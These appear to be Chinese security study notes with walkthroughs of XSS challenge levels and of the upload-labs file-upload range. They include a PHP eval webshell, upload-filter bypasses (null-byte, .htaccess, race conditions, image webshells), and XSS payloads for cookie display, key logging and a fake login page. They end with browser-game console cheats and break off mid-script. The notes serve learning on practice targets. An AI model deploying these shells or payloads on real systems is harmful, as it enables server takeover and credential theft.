`1`	`<a href="javascript:alert(1)//http://www.cctv.com">友情链接</a>`

Level 10

查看网页源码

<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>

有几个隐藏表单，默认的form是get请求，我们每个都传入一下看看谁能显示出来

`1`	`/level10.php?keyword=haha&t_link=haha1&t_history=haha2&t_sort=haha3`

发现t_sort的value显示了出来：<input name="t_sort" value="haha3" type="hidden">

因此针对t_sort进行注入：

`1`	`<input name="t_sort" value=" x" type="text" onmouseover="alert(1)">// " type="hidden">`

Level 11

刚开局只有一个人理我

但是发现这次服务端对GET传入的引号进行了过滤，因此不能有效逃逸，所以抛弃t_sort这个假注入点

进一步查看源代码发现里面包括refer参数，指上一个页面跳转而来

`1`	`<input name="t_ref" value="来路" type="hidden">`

所以我们用burp suite进行抓包，针对ref后的链接进行修改

`1`	`<input name="t_ref" value=" x" type="text" onclick="alert(1)">// " type="hidden">`

其他HTML事件

window.location 浏览器跳转

localtion.href 返回当前的url

onload 当页面加载完成的时候工作

onerror 当前标签加载错误

onchange 当前html页面改动

onclick 点击元素

onmouseover 鼠标掠过

onmousedown/up 鼠标按下/抬起

onkeydown 键盘按下

文件上传

简易测试平台

文件上传前端，创建upload.html

<form action="./process.php" method="POST" enctype="multipart/form-data">
    <label for="file" >文件名</label><br/>
    <input type="file" name="file" /><br/>
    <input type="submit" name="submit" value="click me"/>
</form>

文件接收后端，创建process.php

<?php 

//接收传过来的文件
$fileinfo = $_FILES['file'];

//var_dump($fileinfo);

//获取文件临时目录
$filetmp_path = $fileinfo['tmp_name'];

//保存文件在当前目录的file文件夹下(要提前创建)
move_uploaded_file($filetmp_path,"./file/".$fileinfo['name'])

?>

接下来写一个简单的木马，创建vi.php

`1`	`<?php eval($_POST['cmd']); ?>`

该木马的意思是通过POST获取一个名为cmd的参数，因此我们主要运用php的语法system("系统命令");传入参数，这样eval()函数会把接收到的参数当作命令来执行，如此一来我们就可以通过传参的方法在目标主机上执行CMD命令。

@的作用是不报错，减少防火墙发现概率

日常测试文件上传漏洞，都使用phpinfo文件

`1`	`<?php phpinfo()?>`

它只会输出当前系统配置信息，属于无毒代码

手动传参

//我们传参：
cmd=system("ipconfig");

//页面上返回
Windows IP 配置 以太网适配器 Ethernet0: 连接特定的 DNS 后缀 . . . . . . . : localdomain 本地链接 IPv6 地址. . . . . . . . : fe80::9087:a026:a5bf:e1c5%12 IPv4 地址 . . . . . . . . . . . . : 192.168.80.134 子网掩码 . . . . . . . . . . . . : 255.255.255.0 默认网关. . . . . . . . . . . . . : 192.168.80.2

借助工具

我们这里使用工具《中国菜刀》，添加网站时将你上传好的木马php链接输入并填写你设的参数名，程序就可以进行查看文件，虚拟终端等很多功能。

靶场练习

靶场搭建

下载靶场：https://pan.baidu.com/s/1i8dswj6ALINxoyCY7GqiTg?pwd=dvur

将靶场解压到一个单独的文件夹内，打开phpStudy.exe启动，注意原先自带的phpstudy服务要关闭

访问http://127.0.0.1/以打开靶场

接下来只介绍一些典例

Pass-01（禁用JS）

上传正常图片后查看图片地址发现图片被保存在网站的./upload文件夹下

选择木马php上传发现弹窗提示文件格式不合规

这时我们用burp suite抓包上传发现根本没有数据包，因此可以推断文件格式是在前端判断(基于JavaScript)的，所以我们使用Firefox浏览器右上角的 JS 插件禁用网页JavaScript即可成功上传。

Pass-02（伪造MIME）

这一次我们上传木马php时抓包发现有结果，数据包中有以下内容：

1
2

Content-Disposition: form-data; name="upload_file"; filename="vi.php"
Content-Type: application/octet-stream

Content-Type:指的是文件的MIME类型，说明文件是否合规由后端进行判断，所以我们修改数据包中文件类型为image/jpeg后放行数据包即可成功上传。

Pass-03（黑名单-漏网之鱼）

查看源码（解释版）：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        //你不允许上传这些后缀名的文件
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        //文件名首尾去空
        $file_name = trim($_FILES['upload_file']['name']);
        //删除文件名末尾的点 
        $file_name = deldot($file_name);
        //输出从左往右.及其后面所有内容
        $file_ext = strrchr($file_name, '.');
        //转换为小写
        $file_ext = strtolower($file_ext); 
        //去除字符串::$DATA
        $file_ext = str_ireplace('::$DATA', '', $file_ext);
        //首尾去空
        $file_ext = trim($file_ext); 
        //文件的后缀名在不在这个deny_ext数组中？
        if(!in_array($file_ext, $deny_ext)) {
            //获取文件临时路径
            $temp_file = $_FILES['upload_file']['tmp_name'];
            // ../upload  /   202601231234  .png
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;    
            //保存文件        
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

注入方法：

抓包时将文件后缀名改为.php3上传即可

原理：

黑名单，符合黑名单的内容都不要

.php=> .php3 .php4 .php5 .pht .phtml

这些后缀都有可能被当作php来执行

修复此漏洞

找到Apache/conf/httpd.conf配置文件

发现AddType application/x-httpd-php .php .php3 .phtml

把后面.php3 .phtml删除，重启apache即可

Pass-04（利用`.htaccess`）

查看源码发现黑名单多了一大堆后缀名，所以上一题的思路不再可行。

但是根据刚才修复漏洞的经验可知服务端打开任何后缀名文件时都是当作某种类型文件来打开，所以我们可以写一个文件类型解析文件引导php将某一特定文件当作.php打开，现在得到下面的

邪修：

.htaccess（杀伤力很大，实战不建议使用）

.htaccess是php解析文件，可以指定把什么东西当作php来执行

新建.htaccess文件（纯后缀名，没有名字）

1
2
3

<FilesMatch "vi">
SetHandler application/x-httpd-php
</FilesMatch>

先将.htaccess上传后再上传名为vi.jpg的木马php（由vi.php修改后缀名得来）

Pass-06/07/08（黑名单-利用特殊字符）

Pass-06：使用代码对比工具对比源码发现少了首尾去空的功能，因此我们抓包修改文件名为vi.php 即可

原理： 空格算字符，但是Windows系统会自动忽略空格，文件正常打开

Pass-07：使用代码对比工具对比源码发现少了删除文件名末尾的点的功能，因此我们抓包修改文件名为vi.php. .即可

原理：.算字符，但是Windows系统会自动忽略空格，文件正常打开

Pass-08：使用代码对比工具对比源码发现少了去除字符串::$DATA的功能，因此我们抓包修改文件名为vi.php::$DATA即可

原理： 如果加了::$DATA文件会被系统当作文件流处理，不会检测后缀名

Pass-09（黑名单-钻逻辑漏洞）

查看源码（解释版）：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
  // 这里假装传入文件名vi.php. .
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        // 去首尾空格变为vi.php. .
        $file_name = deldot($file_name);//删除文件名末尾的点
        // 变为vi.php.空格
        $file_ext = strrchr($file_name, '.');
        // 获取最后一个.及其后面的字符即为 .空格
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        // 一波操作之后代码最后以为文件名是. （一个点），固放行
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

注入方法： 抓包修改文件名为vi.php. .

原理： 后端获取后缀名逻辑有问题

Pass-10（黑名单-双写绕过）

查看源码（特别部分）：

`1`	`$file_name = str_ireplace($deny_ext,"", $file_name);`

代码会检测文件名中是否存在符合上面的后缀名表里的部分，如果有就直接删除字符让上传的文件无法被正常解析

注入方法： 修改文件名为vi.phphpp

原理： 双写绕过

Pass-11（`%00`结束符-GET版）

查看源码（解释版）：

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');	//只允许三种图片格式文件通过
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
        //合成最终保存路径：接收POST上传文件的目标路径然后加上随机数加时间再接文件名
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错！';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}

发现第11题并不像上面判断后缀名是否包含在禁止的后缀名表，而是只允许三种图片格式文件通过，并且上传文件的路径可控，这里运用半XSS注入的思想，既然save_path是再POST里可以修改的我们就可以想办法让后面代码全部不执行

注入方法： 本地修改木马文件名为vi.jpg，抓包修改第一行路径为save_path=../upload/vi.php%00

原理：%00是结束符，导致后面的数据丢失，代码不再执行，同时文件保存的路径及最终文件名已经由我们给出。

Pass-12（`%00`结束符-POST版）

查看源码（与Pass-11比较）：

`1`	`$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;`

发现第二题获取文件保存路径时使用POST方法，我们还是用上面那招

注入方法： 本地修改木马文件名为vi.jpg，抓包修改路径为save_path=../upload/vi.php%00，框选%00，右键，依次点击，Convert-selection、URL、URL-decode

原理： GET会自动进行解码，而POST不会自动进行解码，所以需要手工解码

Pass-13/14/15（制作木马图）

Pass-13：

查看源码：

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错！";
        }
    }
}

主要有两个要点：

会检查前2字节的文件头来判断文件类型
不论原后缀名是什么，最后会根据检查到的文件类型完全重命名保存的文件
题目指明了要使用预留的文件包含漏洞http://localhost/include.php

这里我们顺便看看include.php里写了什么，要怎么利用。

<?php
/*
本页面存在文件包含漏洞，用于测试图片马是否能正常运行！
*/
// 1. 设置响应头：页面编码为UTF-8，避免中文乱码
header("Content-Type:text/html;charset=utf-8");
// 2. 从GET请求中获取名为file的参数值（可控输入，漏洞核心）
$file = $_GET['file'];
// 3. 判断是否传入了file参数
if(isset($file)){
    // 4. 核心漏洞：包含并执行$file指定路径的文件内容
    include $file;
}else{
    // 5. 未传参数时，显示当前文件的源代码（方便测试者查看代码）
    show_source(__file__);
}
?>

注入方法： 使用16进制查看器（如c32、hex等）给原木马php开头加上.gif的文件头GIF89A （优先GIF！因为是文件头是纯文本） 后保存，上传文件，这时直接访问会提示文件错误，但是当调用漏洞（将路径作为file参数传入，如：http://localhost/include.php?file=./upload/4720260119193004.gif）时成功。

原理： 利用了只检查两个字节的机制和预设的文件包含漏洞。

Pass-14：

查看源码（与Pass-13对比）：

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename); 	//使用getimagesize获取图片多个参数
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

这里使用了getimagesize函数获取图片多个参数，因此仅靠简单的添加文件头不能再骗过服务端。需要进一步构造更拟真图片木马。

注入方法： 使用截图工具截一小块图（越简单越好，这样其编码也简单），用16进制查看器打开，开头加上GIF89A，末尾加上你使用的一句话木马，保存并上传修改后的文件，再次用文件包含漏洞打开上传的文件，成功注入。

Pass-15：

与Pass-14操作完全相同。

Pass-16（二次渲染）

查看源码发现程序对图片进行了二次渲染。

注入方法：使用系统自带画图软件画一个简单的图片，以.gif格式保存。将图片直接上传，将网页上展示的图片下载下来，使用十六进制编辑器查看两者之间没有发生改变的位置，复制php中的一句话木马（注意记住语句的字数长度），在刚才画的图中找一个没有发生变化的位置，选择字数相同的长度替换为一句话木马，保存后将图片木马上传，同样使用文件包含漏洞打开。

Pass-17/18（条件竞争）

Pass-17

查看源码：

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错！';
    }
}

这里存在逻辑漏洞，是接收上传的文件再去判断是否合规，因此我们上传的文件会存在一段时间（虽然很短），但是如果我们用多线程一直去上传呢？

注入方法： 直接上传php木马同时抓包，send to intruder，选一个无关紧要的地方，payload 选numbers 1-9999，线程开20

原理： 损耗服务器资源，让他删不过来

Pass-18

作者代码有问题，打开myupload.php，103行，改为$this->cls_upload_dir = $dir.'/';

查看源码发现仅靠服务端靠后缀名白名单对上传的文件进行检查，并且还有自动改名的机制。

注入方法： 这里我们利用php的一个漏洞，将php木马加上一个后缀.7z，php.7z的木马同时抓包，接着方法同 Pass-17

原理：x.php.7z会被当作php执行，php发现7z，zip，rar会尝试解压，损耗服务器资源，总有一个时候来不及改名，从而直接访问。

Pass-19（`%00`结束符-POST版进阶）

查看源码：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];	//通过POST获取保存的文件名
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);	//重要：调用从文件名中获取后缀名的功能
        //因为这里仅将文件名当作字符串所以不会识别截断符，并且识别到的后缀名是
        if(!in_array($file_ext,$deny_ext)) {	//根据获取的后缀名进行白名单检测
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {	//截断发生处，从而无法校验合规性 
                $is_upload = true;
            }else{
                $msg = '上传出错！';
            }
        }else{
            $msg = '禁止保存为该类型文件！';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

注入方法： burp抓包，保存名修改为vi.php%00.jpg，%00进行URL-decode，文件名部分需要.jpg用来通过审核

Pass-20（数组绕过检查）

查看源码(解释版)：

<?php 

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    //检查文件类型
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        //判断save_name是否为空，如果为空就用文件名，如果不为空就使用save_name
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        //判断$file是否为数组
        //如果我直接传入数组 $file[0]='haha.php'   $file[2]='jpg'
        if (!is_array($file)) {
            //$file=haha.jpg ---> $file[0]='haha'; $file[1]='jpg';
            $file = explode('.', strtolower($file));
        }
        //$ext = 'jpg';
        // jpg
        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        //判断$ext在不在白名单里
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            //    				haha.php            .            $file[1]
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功！";
                $is_upload = true;
            } else {
                $msg = "文件上传失败！";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件！";
}

?>

可以看到漏洞存在于如果传入的save_name是数组,那么就可以避开自动从文件名获取后缀名.

并且接下来的过程中是取数组的第一个元素为文件名称,最后一个为后缀名,那么我们可以传入一个数组[x.php,,jpg]

注入方法: 上传同时抓包,先修改MIME为image/jpeg,接下来修改save_name部分为(例):

-----------------------------306962433823754
Content-Disposition: form-data; name="save_name[0]"

upload-20.php
-----------------------------306962433823754
Content-Disposition: form-data; name="save_name[2]"

jpg

原理: php的数组是一一对应的索引概念,不一定要是连续的,所以我们只传入了第0、2号元素,1号不存在,因此数组内只有两个元素(count($file)=2),且访问1号元素时返回为空(NULL)。

拓展

本地搭建：

前端：创建upload.html

<form action="./test1.php" method="POST" enctype="multipart/form-data">
    <label for="file">文件名</label>
    <input type="file" name="file" /><br/>
    <input type="submit" name="submit" value="提交"/>
  </form>

后端：创建test1.php

<?php 

if(isset($_POST['submit'])){
    $temp_file = $_FILES['file']['tmp_name'];
    //取出文件名
    $filename1 = $_FILES['file']['name'];
    //定义一个随机数
    $number = rand(1000,9999);
    $filename2 = $filename1.$number;	//原文件名和随机数拼接
    $filename3 = md5($filename2);			//将拼接后的内容MD5加密
    $filename4 = $filename3.'.php';		//加密后的内容加上.php后缀
    $img_path = "./pic/".$filename4;
    if(move_uploaded_file($temp_file,$img_path)){
        echo 'success upload';
    }else{
        echo 'fail';
    }
}

?>

任务： 上传木马php后，想办法访问到存在于pic中的木马程序。

方法： 正常上传木马php，在地址栏中访问http://localhost/test/pic/test.php这时会提示404，因为文件名不对，接下来我们启动抓包然后刷新一下这个网页，抓取到了请求。选中数据包第一行的文件名，提交到暴力破解。将假文件名选为爆破位点，像这样：

GET /test/pic/§test§.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

在payloads中设置类别为numbers，1000-9999步长为1，下面的Payload Processing先选Add Prefix填写上传的原文件名，再选Hash-MD5，开启攻击。

原理： 本质就是根据源代码对文件名的处理过程在burp suite中复现这一过程。

1.18 XSS注入攻击

Sun, 18 Jan 2026 20:42:00 +0800

xss攻击

示例：网络留言板

示例网站：网络安全演示 - 留言板

xss攻击，日常弹窗alert()只是我们测试危害的一种方式

xss攻击的本质，是让人家的浏览器去因为你找到的网站漏洞去运行恶意js代码

测试弹窗，有很多时候弹窗种类多种多样

下面是示例注入代码：

js弹窗

`1`	`<script>alert(1)</script>`

基于图片报错弹窗

`1`	`<img src=x onerror="alert(1)" />`

基于图片报错篡改网页

`1`	`<img src=x onerror="document.body.innerHTML='<h1 style=color:red;padding:50px;>haha wocao</h1>'" />`

基于矢量图网页加载时弹窗

`1`	`<svg onload="alert(1)" />`

基于iframe容器网页加载时弹窗

`1`	`<iframe onload="alert(1)"></iframe>`

基于iframe容器在网页中加载其他网页

`1`	`<iframe src="https://www.baidu.com" onload="alert(1)"></iframe>`

鼠标掠过时弹窗

`1`	`<div onmouseover="alert(1)">点我抽奖</div>`

基于图片报错弹窗cookie信息

`1`	`<img src=x onerror="alert('Cookie: ' + document.cookie)">`

基于图片报错的键盘检测

`1`	`<img src=x onerror="document.addEventListener('keypress',function(e){console.log('按键:'+e.key)});">`

基于图片报错的伪装登录页面

<img src=x onerror="var d=document;d.body.innerHTML='<div style=position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;display:flex;align-items:center;justify-content:center><div style=background:white;padding:30px;border-radius:10px;text-align:center><h2>系统提示</h2><p>您的账户存在异常，请重新登录</p><input type=text placeholder=用户名 id=u style=margin:10px;padding:10px;width:200px><input type=password placeholder=密码 id=p style=margin:10px;padding:10px;width:200px><button onclick=var u=document.getElementById(String.fromCharCode(117));var p=document.getElementById(String.fromCharCode(112));alert(String.fromCharCode(29992,25143,21517,58)+u.value+String.fromCharCode(10,23494,30721,58)+p.value);this.parentElement.parentElement.remove() style=margin:10px;padding:10px 20px;background:#667eea;color:white;border:none;border-radius:5px;cursor:pointer>登录</button></div></div>'">

练习题

链接：练习靶场

讲解（部分）

0x04

server code：

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

可以看到服务端对输入的字符串中(、)、 全部进行了删除，所以我们这里要使用html特有的实体编号来代替，因为(、)对应的实体编号分别是40、41，在引用时使用&#编号;`格式

所以有示例答案：

`1`	`<img src=x onerror="alert(1)">`

更多html实体编码请查：HTML ASCII 字符完整对照表

0x06

server code：

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

服务端屏蔽了auto(不论大小写)、on开头=结尾的字符串、>三种元素

这里我们借助html语言松散的特点

1
2

onclick
="alert(1)"

点击一下上面的文字1就可以了

0x08

server code:

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

可以看到服务端对</style>进行了屏蔽，这里我们利用html的特性把标签拆开

</style
>
  <script>alert(1)</script>
  <style>

0x0B

server code:

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

可以看到服务端把所有小写字母都转为了大写字母，这里我们利用js函数大小写敏感但是html标签大小写不敏感的特性，从外部调用js代码，我们新建一个abc.js文件，写入alert(1);将文件放在phpstudy的网页根目录，

`1`	`</h1><script src="http://127.0.0.1/abc.js"></script><h1>`

0x0D

server code:

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

注意到服务端屏蔽了</"',并且文本被放在一个很尴尬的位置：

1
2
3

<script>
          // alert('文本在这里')
    </script>

所以我们先换行逃出注释，再写出alert(1)的主函数，最后用-->来屏蔽后边剩余的')

0x0F

server code:

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

服务端伪屏蔽（将字符转为了html实体编号，不影响计算机读取）了很多字符，这里我们正常操作将可以闭合的部分闭合，不同元素之间用;断开，注意利用//注释掉不必要的部分

1
2
3

' );alert(1)//

屏蔽前长这样<img src onerror="console.error('' );alert(1)//')">

0x12

server code:

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

这里针对"进行了屏蔽：将"替换为\"，也就是变为普通引号，先重点在于将前面的("闭合，将\加再替换后的"，也就是\"前就会使对引号的转义失效(\\"结构)，从而成功闭合

`1`	`21\");alert(1)</script>`

填入后长这样<script>console.log("21\\");alert(1)</script>");</script>

1.17 页游作弊和信息搜集

Sat, 17 Jan 2026 20:36:48 +0800

基于页游的前端分析

Google小恐龙

链接：T-Rex 在线版的chrome恐龙游戏

F12打开开发者模式，选择控制台Console，输入：

关闭GameOver判定：Runner.prototype.gameOver = function(){}

调整速度：Runner.instance_.setSpeed(1000);

2048

链接：2048

F12打开开发者模式，选择应用程序Application

在本地存储Local Storage中可以看到存储在本地的游戏数据，例如：

{"grid":{"size":4,"cells":[[null,null,null,{"position":{"x":0,"y":3},"value":2}],[null,null,null,null],[{"position":{"x":2,"y":0},"value":4},null,null,null],[null,null,null,null]]},"score":0,"over":false,"won":false,"keepPlaying":false}

通过修改即可改变棋盘中的数字。

数独

链接：数独游戏 – 信息安全教学示例（随机题目）

右键检查源代码可以发现网页生成题目并渲染的逻辑。

const { puzzle, solution } = generatePuzzle();

//创建一个style（css）放到网页里命名为secretStyle
const secretStyle = document.createElement('style');
//secretStyle的css里放题目答案，不予显示
secretStyle.textContent = `body::before{content:"${solution.join('')}";display:none}`;
//网页头部增加答案
document.head.appendChild(secretStyle);

//右键，查看源码看的是网页真实源码，不渲染

//elements里面是实时渲染的网页

最终在F12开发者模式的元素Elements中发现第二个<style>中有题目答案：

`1`	`body::before{content:"789145263364729851215386479821593647576418932493672185957861324632954718148237596";display:none}`

所以我们打开控制台执行：

//显示body::before的答案
const hidden = getComputedStyle(document.body,'::before').content.replace(/\"/g,'');
const digits = hidden.split('').map(Number);
console.log(digits);

//让答案显示在棋盘上
document.querySelectorAll('.cell').forEach((cell,i)=>{  
     if(!cell.disabled) cell.value = digits[i];  
   });

flappybird

链接：Floppy Bird

F12打开开发者模式，选择控制台Console，输入：

展示当前窗口的所有参数 console.log(window)

参考：

调整重力 gravity = 0.01

管道间距（依然有攻击判定） flyArea = 100

鸟跳的多高 jump = -4.6

管道真实高度 pipeheight = 200

修改best的分数 highscore = 999

玩家死亡 playerDead = function(){}

塔防

链接：HTML5 Tower Defense

右键检查源代码，发现游戏算法引入

`1`	`<script type="text/javascript" src="td-pkg-zh-min.js?_t=1293962401.7"></script>`

打开td-pkg-zh-min.js文件，发现设计师有提到cheat success!推测是设计师留下的秘籍。

进一步找到_TD.cheat="money+"，推测出后面是要写内容的。

在控制台输入_TD.cheat="money+"，发现金钱增加。

扫雷

链接：经典扫雷 (教学版)

右键检查源代码，发现整个棋盘为grid二维数组，二维数组内部嵌入字典，字典里面有isMine判断是不是地雷

因此在控制台使用输入下面的代码：

grid.forEach(row => {
    row.forEach(cell => {
        if (cell.isMine) {
            // 直接修改 DOM 样式
            cell.element.style.backgroundColor = 'red';
        }
    });
});

俄罗斯方块

链接：Tetris: Cyberpunk Edition

目标： 修改所有下落方块变为"L"形

右键检查源代码，发现生成下一个方块所用的随机函数：

createPiece: function(type) {
  if (type === 'I') return [[0, 1, 0, 0],[0, 1, 0, 0],[0, 1, 0, 0],[0, 1, 0, 0]];
  if (type === 'L') return [[0, 2, 0],[0, 2, 0],[0, 2, 2]];
  if (type === 'J') return [[0, 3, 0],[0, 3, 0],[3, 3, 0]];
  if (type === 'O') return [[4, 4],[4, 4]];
  if (type === 'Z') return [[5, 5, 0],[0, 5, 5],[0, 0, 0]];
  if (type === 'S') return [[0, 6, 6],[6, 6, 0],[0, 0, 0]];
  if (type === 'T') return [[0, 7, 0],[7, 7, 7],[0, 0, 0]];
},

因此需要修改上面的函数，去掉所有if，直接return"I"时的结果，

接下来console.log(window)查看网页参数，发现createPiece为Tetris的一个子参数，所以调用时要写全参数名为Tetris.createPiece，

在控制台输入下面代码将参数修改，注意使用=将参数赋值：

1
2
3

Tetris.createPiece=function(type) {
	return [[0, 1, 0, 0],[0, 1, 0, 0],[0, 1, 0, 0],[0, 1, 0, 0]];
}

打砖块

链接：CYBER ARKANOID 3077

console.log(window)查看网页参数

思路一：Game.paddle.width = 800;修改挡板宽度

思路二： 每10ms获取一次球的x坐标，并设置挡板坐标中心始终对准小球

1
2
3

setInterval(()=>{
    Game.paddle.x = Game.ball.x - Game.paddle.width / 2;
},10)

贪吃蛇

链接：贪吃蛇 (自动加速版)

使用AI生成的外挂代码：

// 1. 备份原函数
if (!SnakeGame.originalUpdate) {
    SnakeGame.originalUpdate = SnakeGame.update;
}

// --- 辅助函数：泛洪算法 (计算某一点周围有多少空地) ---
// 这是一个简化版 BFS (广度优先搜索)
SnakeGame.countFreeSpace = function(startX, startY, maxCheck) {
    let queue = [{x: startX, y: startY}];
    let visited = new Set();
    visited.add(startX + ',' + startY);
    let count = 0;

    // 为了性能，我们不需要计算整个地图，只要空间大于蛇的长度就认为安全
    while (queue.length > 0 && count < maxCheck) {
        let p = queue.shift();
        count++;

        let dirs = [{x:0, y:-1}, {x:0, y:1}, {x:-1, y:0}, {x:1, y:0}];
        for (let d of dirs) {
            let nx = p.x + d.x;
            let ny = p.y + d.y;
            let key = nx + ',' + ny;

            // 检查边界
            if (nx < 0 || nx >= this.tileCount || ny < 0 || ny >= this.tileCount) continue;
            
            // 检查是否撞到蛇身 (注意：这里要模拟蛇尾移动后的状态，简单起见直接用当前身体)
            let isBody = false;
            for(let bodyPart of this.snake) {
                if (bodyPart.x === nx && bodyPart.y === ny) {
                    isBody = true; 
                    break;
                }
            }
            
            if (!isBody && !visited.has(key)) {
                visited.add(key);
                queue.push({x: nx, y: ny});
            }
        }
    }
    return count;
};

// 2. 重写更新逻辑
SnakeGame.update = function() {
    let head = this.snake[0];
    let food = this.food;
    
    let moves = [
        {x: 0, y: -1}, {x: 0, y: 1}, {x: -1, y: 0}, {x: 1, y: 0}
    ];

    // --- 第一步：获取所有不立刻撞死的方向 ---
